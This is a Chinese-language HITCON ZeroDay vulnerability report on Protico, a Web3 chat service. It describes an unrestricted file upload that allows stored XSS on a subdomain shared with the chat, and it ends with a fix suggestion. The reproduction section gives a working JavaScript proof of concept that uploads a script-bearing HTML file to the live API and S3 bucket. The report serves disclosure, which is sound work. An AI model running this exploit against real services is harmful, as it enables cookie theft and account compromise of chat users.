Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00483
- Vendor: Protico - A Web3 Chatting Network
- Title: Protico - A Web3 Chatting Network 任意 Content-Type 的檔案上傳 S3,跟主網站在同一個 subdomain,可達成 XSS
- Introduction: 任意 Content-Type 的檔案上傳 S3,跟主網站在同一個 subdomain,可達成 XSS
處理狀態
目前狀態
公開
Last Update : 2025/07/30
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/05/30 17:17:43 : 新提交 (由 yusheng 更新此狀態)
- 2025/06/02 21:29:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 15:12:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 15:12:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 15:12:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/07/30 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00483
- 通報者:cat1528985 (yusheng)
- 風險:高
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
以下兩個網址,實際上指到同一個檔案,其中 assets.protico.io 跟聊天室在同一個 subdomain,可攻擊性更高
https://protico-user-logo.s3.amazonaws.com/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html
https://assets.protico.io/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html
https://protico-user-logo.s3.amazonaws.com/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html
https://assets.protico.io/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html
敘述
重現漏洞方式:
- 免費註冊鏈新聞 https://abmedia.io/
- 點擊右下角的聊天室(這是用 iframe 嵌入的,網址是 https://main.protico.io/protico?roomUrl=https://abmedia.io/&href=https://abmedia.io/&enable_dapp_ads=False&same_origin_ads=False&game_center_dapp_enable=False&protico_oq= ),隨便發送一則消息,點擊自己的頭像,編輯個人檔案
- 先打開 F12 > Network,然後上傳一張正常的圖片,並且把上傳圖片的 HTTP Request 記錄下來
- F12 > Console,可直接複製以下 js 程式碼(上傳圖片的 HTTP Request)並且執行,就可以達成 任意 Content-Type 的檔案上傳 S3
fetch("https://main.protico.io/api/update-dapp-avatar/start/", { "headers": { "content-type": "application/json", "authorization": "Bearer SXEQI3zcSqQiKzJv4xfiSemvcGbST4", // 請換成您自己的 "protico-agent": "Protico-Access-Token", // 請換成您自己的 "protico-guest": "963f6b4d-9411-404d-96e3-f1e93a480388", // 請換成您自己的 }, "body": JSON.stringify({ "file_name": "a.html", // 可自定義 "file_type": "html" // 可自定義 }), "method": "POST", }).then(res => res.json()).then(json => { const fd = new FormData(); for (const [key, value] of Object.entries(json.fields)) { fd.append(key, value); } fd.append("file", "<script>alert(1)</script>"); // 可自定義 fetch("https://protico-user-logo.s3.amazonaws.com/", { "body": fd, "method": "POST", "credentials": "omit" }) })
POC 影片:https://drive.google.com/file/d/1nvdTQ1ijPolncPI_-TuNL92Xl2j9LdBp/view?usp=sharing
漏洞的種類:
CWE-434: Unrestricted Upload of File with Dangerous Type
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
影響:
- 上傳的檔案在 assets.protico.io,聊天室在 main.protico.io ,可在聊天室傳送含有惡意程式碼的HTML,例如 https://assets.protico.io/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html ,使用者點擊就會中招,可竊取 .protico.io 底下的 cookie
- assets.protico.io 成為惡意程式碼或檔案的倉庫
修補建議
上傳的檔案 content-type 實作白名單
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。